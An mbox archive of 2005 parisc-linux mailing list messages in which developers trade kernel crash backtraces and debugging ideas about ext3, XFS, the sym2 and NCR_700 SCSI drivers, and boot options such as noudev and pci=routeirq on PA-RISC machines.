Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 84DB37D611
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Feb 2005 01:17:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09270-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Feb 2005 01:17:28 -0700 (MST)
Original-Received: from mrq-1.tiscali.sys (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id E8F6F7D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Feb 2005 01:17:27 -0700 (MST)
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrq-1.tiscali.sys with esmtp (Exim 4.43)
	id 1D23Ji-0002LQ-M8; Fri, 18 Feb 2005 09:16:52 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Fri, 18 Feb 2005 09:16:49 +0100
In-Reply-To: <20050216201417.737f4c40@Tatooine.r3z0>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4sh+KiILTlIv47eQeGhrSVVGU2poZZn0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22355

...
> > 
> > > [<101bb588>] journal_add_journal_head+0xdc/0x13c
> > > [<101b4dd8>] journal_dirty_data+0x64/0x1b0
> > > [<101a6be4>] ext3_journal_dirty_data+0x1c/0x60
> > > [<101a69a8>] walk_page_buffers+0xe0/0xf0
> > > [<101a72b8>] ext3_ordered_writepage+0x168/0x1fc
> 
> Got hit by a similar panic during the night (the kernel uptime was < 5h=
)
> 
> Kernel Fault code 15
> Top stack was:
> 
> cache_grow
> cache_alloc_refill
> kmem_cache_alloc
> journal_alloc_journal
> 
> and the rest was identical to your dump.
> 
> IAOQ was alloc_slabmgmt and gr2 was cache_grow
> 
I just come back because after a second read, it looks like the b2k pb re=
lated
here:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2005-February/02587=
0.html>

mmm hard to say if there are actualy the same?

> This was 2.6.11-rc3-pa5 freshly built with Kernel Hacking turned off.
> 
That said, today same panic (as related above) on b2k  32bit  but not on
b180 with the same 2.6.11-rc4-pa1 (cvs dated 20050217).

By chance, I can save a top info at the crash moment:
top - 06:25:27 up 16:33,  3 users,  load average: 0.91, 0.32, 0.16
Tasks:  97 total,   2 running,  95 sleeping,   0 stopped,   0 zombie
Cpu(s):  4.9% us, 13.2% sy,  4.9% ni,  0.0% id, 75.7% wa,  0.7% hi,  0.7%=

si
Mem:    252696k total,   249768k used,     2928k free,    46300k buffers
Swap:   255928k total,        0k used,   255928k free,   133572k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND    
                                                          
 9304 nobody    26  10  1816  844  644 R 14.8  0.3   0:00.89 find       
                                                           
...

The time stamp seems to tell me to look into cron daily ...

I will try to locate this 'find' task (probably locate db update) and see=

if I can reproduce ;-)

Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.11-rc4-pa1 XFS data page fault
Date: Fri, 18 Feb 2005 08:07:30 -0600
Lines: 127
Approved: news@gmane.org
Message-ID: <200502180807.30480.mszick@wolfbutter.com>
References: <20050218092835.0E74E3658E2@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623671 12724 80.91.229.3 (22 Nov 2014 02:34:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2005 14:08:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 18 Feb 2005 15:08:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B60E7D615;
	Fri, 18 Feb 2005 07:08:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11815-04; Fri, 18 Feb 2005 07:08:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FC547D626;
	Fri, 18 Feb 2005 07:08:45 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 627EC7D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Feb 2005 07:08:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11815-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Feb 2005 07:08:32 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id CBBD97D60D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Feb 2005 07:08:31 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j1IE7vfX040581 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Feb 2005 06:07:58 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [69.34.189.43] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id 8Zh1Fkc5
	authenticated by SMTP; Fri, 18 Feb 2005 06:07:57 -0800 (PST)
User-Agent: KMail/1.7.1
In-Reply-To: <20050218092835.0E74E3658E2@mail.esiee.fr>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gJp+Kih4TlIv47eQeGhrSVVGU2poZRmv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22356

On Fri February 18 2005 03:28, Thibaut VARENE wrote:
> -------------------
> > On Thu, Feb 17, 2005 at 06:53:52AM -0600, Michael S. Zick wrote:
> > > I am tracking a timing and/or race condition(s) with x86-udev.
> > > Debian doesn't use it yet, they still have a hard disk based /dev.
> > > But it is not a compile time option.
> > > If you have a 2.6.+ kernel, you have it.
> > > 
> > > Try turning it off with the command line option: 'noudev'
> > 
> > I thought this helped at first.  (2.6.11-rc4-pa1)
> > Could run spew+"make -j4" over xfs without crashing the box (panic).
> > 
> > Then I rebooted with a freshly built kernel (and "noudev")
> > and right away when I start spew on the XFS file system I get:
> 
>  
> > The only difference in the .config was sym2 driver IOMAPPED.
> > I had it enabled (using IO Port space) and now disable it
> > since I really want MMIO space. I'm very skeptical this is
> > related to the problem.
> 
Try the command line option: pci=routeirq

I know that pa-risc pci is a totally different beast, so can't say
how much effect the changes in generic affect your systems.


> Hmmm.
> Back in the early days of 2.5, i recall issues with SYM2 in MMIO mode,
> so that it only worked in PIO mode (I think i had posted something on
> this m-l about that). At that time i was using ext3 for that matter.
> 
> OTOH, XFS relies a lot on memory and cache quality. I don't know how
> MMIO would interfere with that, but I suspect that if enabling MMIO
> has the side effect of messing with that somehow, it's very likely XFS
> won't like it at all. Just a random thought though.
>  
> > > If your compile time options include devfs, try turning it 
> > > off also.  Use the command line option: 'nodevfs'
> > 
> > I don't use devfs. Willy won't let me. :^P
> 
I have to agree with Willy on this one.
Taking it out of the kernel is a step forward for the kernel designers.

The udev system, although envisioned as a replacement for devfs
is much more general and can (could, might) lead to mountable
cpu and memory segments.

? ? ? ?

To take a cpu off-line, such as for test/maintance:
mount -o remount,ro /dev/cpu/xxx

To shut it down, such as for replacement:
umount /dev/cpu/xxx

To take a memory range off-line, such as for test/maintance:
mount -o remount,ro /dev/mem/<memory-range-id>

To take failed memory range down for replacement:
umount /dev/mem/<memory-range-id>

These operations are common in both tightly coupled
smp (symetrical) systems and loosely coupled amp
(asymetrical) systems. 

A loosely coupled multiple processor system might not
have all of its cpus and memory in a single box.

Even a tightly coupled multiple processor system used
for 'non-stop' service can use these features.

This is the real power of what is now the udev system, not
just dynamic device naming.
It allows Linux to grow into both a single processor OS
and a general purpose, parallel processing OS.

It looks to me as if nearly all of the code is in-place, just
needs some changes in kernel initialization and some
general consolidation of existing kernel functions.

Mike
PS: These changes also give new reasons for including
my version of system sched.c into the kernel as an option
in 2.9.x

> well, devfs is 3v1l and deprecated, so you'd better not use it :)
> 
> > > In my case, for kernels 2.6.8, 2.6.9, 2.6.10 and 2.6.11 -
> > > If I boot from slow devices (cdrom, zip disk) everything is
> > > fine, If I boot from fast devices (hard disk) - something isn't
> > > getting setup the same.
> > 
> > Is there a difference in the how the devices are used?
> > ie. serialized vs. multiple IOs in flight at the same time?
> > 
> > I didn't start hitting problems until I lauched a second job
> > on the same file system.
> 
> Come to think of it, I wonder how the XFS bug you're pointing at can
> be related to the bug Joel and I reported with ext3:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2005-February/025
> 867.html
> 
> Maybe one would like to try XFS on a non-SYM2 box and see what
> happens? That way we might have a clue whether sym2's at fault or
> something else...
> 
> My 2 cents in the morning ;)
> 
> Thibaut VARENE
> PA/Linux ESIEE Team
> http://www.pateam.org/
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.11-rc4-pa1 XFS data page fault
Date: Sat, 19 Feb 2005 04:17:59 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <200502190417.59359.mszick@wolfbutter.com>
References: <20050218062312.GA11968@colo.lackof.org>
	<20050218092835.0E74E3658E2@mail.esiee.fr>
	<20050219022808.GA28925@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623671 12726 80.91.229.3 (22 Nov 2014 02:34:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2005 10:18:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 19 Feb 2005 11:18:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FA667D615;
	Sat, 19 Feb 2005 03:19:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14851-08; Sat, 19 Feb 2005 03:19:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1AB297D626;
	Sat, 19 Feb 2005 03:19:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A1037D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 03:19:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14439-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 03:19:01 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id A8C007D60D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 03:19:01 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j1JAIQfX077513 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 02:18:26 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [69.68.114.131] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id udF3vLm5
	authenticated by SMTP; Sat, 19 Feb 2005 02:18:26 -0800 (PST)
User-Agent: KMail/1.7.1
In-Reply-To: <20050219022808.GA28925@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Gn58KgdNTlIv47eQeGhrSVVGU2poZdn5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22357

On Fri February 18 2005 20:28, Grant Grundler wrote:
> On Fri, Feb 18, 2005 at 10:28:26AM +0100, Thibaut VARENE wrote:
> > > The only difference in the .config was sym2 driver IOMAPPED.
> > > I had it enabled (using IO Port space) and now disable it
> > > since I really want MMIO space. I'm very skeptical this is
> > > related to the problem.
> > 
> > Hmmm.
> > Back in the early days of 2.5, i recall issues with SYM2 in MMIO mode,
> > so that it only worked in PIO mode (I think i had posted something on
> > this m-l about that). At that time i was using ext3 for that matter.
> > 
> > OTOH, XFS relies a lot on memory and cache quality. I don't know how
> > MMIO would interfere with that, but I suspect that if enabling MMIO
> > has the side effect of messing with that somehow, it's very likely XFS
> > won't like it at all. Just a random thought though.
> 
> *sigh* Using IO Port space works. Either there is a bug in the Sym2
> driver (not posting writes when it needs to) or the lower cost of
> the MMIO writes is changing the timing enough to expose bugs
> in other subsystems.
> 
A note,
There are recent messages on the powerPC list about the irq routing
and balancing changes in generic that cause the Sym2 driver to fail.

In my case, it is the tulip driver.
I have eliminated compiler, unip/smp, work loads, make -j levels;
and feel certain I have a solid 2.6.8 on this machine.
No problems with the IP network stack collapsing; produces good
executable of OpenOffice at "make -j3".

Next - binary search between 2.6.11 and 2.6.8 - find where things
went bad.  If I find anything that might also effect pa-risc, I'll post.

Note: The changes to irq routing and balancing might also be 
behind the high latency in servicing the timer interrupt that Willy
found on some pa-risc machines.

I would suggest sticking with: 'noudev nodevfs pci=routeirq'
command line options until more is known.
(They should make system work like pre-2.6.9)

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NCR_700 problems on 715/64 with 2.6.11-rc4-pa1
Date: Sat, 19 Feb 2005 12:34:30 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <200502191234.30310.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623672 12729 80.91.229.3 (22 Nov 2014 02:34:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:32 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2005 11:34:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx062) with SMTP; 19 Feb 2005 12:34:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 091DB7D626;
	Sat, 19 Feb 2005 04:35:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15249-05; Sat, 19 Feb 2005 04:35:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1AFB77D629;
	Sat, 19 Feb 2005 04:35:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69F3A7D615
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 04:35:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15154-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 04:35:10 -0700 (MST)
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 8B12C7D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 04:35:09 -0700 (MST)
Original-Received: (qmail invoked by alias); 19 Feb 2005 11:34:33 -0000
Original-Received: from pD9FE7315.dip.t-dialin.net (EHLO p100.helgenet.de)
	(217.254.115.21)
	by mail.gmx.net (mp010) with SMTP; 19 Feb 2005 12:34:33 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.92
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[; fY@)WscF2iV7`,a$141g'o,7X
	?Bt1Wb:L7K6z-<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(e}
	`-QV{#%&[?^fAke6t8QbP; b'XB,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"
	["ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: O0h8KkUDTlIv47eQeGhrSVVGU2poZZnm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22358

I get random messages from the 53c700 scsi driver (see below). 
Any ideas ?
Helge

System LOG:

Linux version 2.6.11-rc4-pa1 (root@p100) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #170 Sat Feb 19 12:04:12 CET 2005
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 000060a0 00000481 00000000 00000000 773c7d2c 00000000 00000004 00000072 00000072
vers  0000000c
model 9000/715
Total Memory: 160 Mb
Built 1 zonelists                                                                                                                         
.....
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2
scsi0 : LASI SCSI 53c700
  Vendor: QUANTUM   Model: FIREBALL_TM3200S  Rev: 300X
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:6: Beginning Domain Validation
scsi0: (6:0) Enabling Tag Command Queuing
scsi0: (6:0) Asynchronous
 target0:0:6: Domain Validation skipping write tests
scsi0: (6:0) Synchronous at offset 8, period 100ns
 target0:0:6: Ending Domain Validation
st: Version 20041025, fixed bufsize 32768, s/g segs 256
SCSI device sda: 6281856 512-byte hdwr sectors (3216 MB)
SCSI device sda: drive cache: write back
SCSI device sda: 6281856 512-byte hdwr sectors (3216 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 6, lun 0,  type 0                                                                       
...



in dmesg (at random times):
_raw_foo() called with bad address 0xf0106121
Backtrace:
 [<10104ce4>] __raw_bad_addr+0x64/0x70
 [<1028edd8>] NCR_700_start_command+0x3e8/0x78c
 [<10290684>] NCR_700_queuecommand+0x2fc/0x440
 [<1026cf30>] scsi_dispatch_cmd+0x164/0x238
 [<10272ba4>] scsi_request_fn+0x18c/0x354
 [<10250454>] __generic_unplug_device+0x4c/0x54
 [<10250470>] generic_unplug_device+0x14/0x24
 [<102504b0>] blk_backing_dev_unplug+0x30/0x38
 [<10169038>] sync_buffer+0x54/0x58
 [<10103708>] __wait_on_bit+0xd4/0xe0
 [<101037c4>] out_of_line_wait_on_bit+0xb0/0xcc
 [<101ba2a4>] journal_commit_transaction+0xe68/0x1028
 [<101bc7ac>] kjournald+0xc0/0x240
 [<1010bc5c>] ret_from_kernel_thread+0x1c/0x24


and:
__raw_foo() called with bad address 0xf0106122
Backtrace:
 [<10104ce4>] __raw_bad_addr+0x64/0x70
 [<1028f200>] NCR_700_intr+0x84/0x120c
 [<10142cfc>] handle_IRQ_event+0x50/0xa4
 [<10142e78>] __do_IRQ+0x128/0x174
 [<102163dc>] gsc_asic_intr+0xac/0xc8
 [<10142cfc>] handle_IRQ_event+0x50/0xa4
 [<10142e78>] __do_IRQ+0x128/0x174
 [<101072a0>] do_cpu_irq_mask+0x7c/0xd8
 [<1010c068>] intr_return+0x0/0x14
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR_700 problems on 715/64 with 2.6.11-rc4-pa1
Date: Sat, 19 Feb 2005 08:00:44 -0600
Lines: 91
Approved: news@gmane.org
Message-ID: <200502190800.44901.mszick@wolfbutter.com>
References: <200502191234.30310.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623672 12730 80.91.229.3 (22 Nov 2014 02:34:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2005 14:01:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx067) with SMTP; 19 Feb 2005 15:01:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 538597D62B;
	Sat, 19 Feb 2005 07:01:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17233-06; Sat, 19 Feb 2005 07:01:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E8447D627;
	Sat, 19 Feb 2005 07:01:52 -0700 (MST)
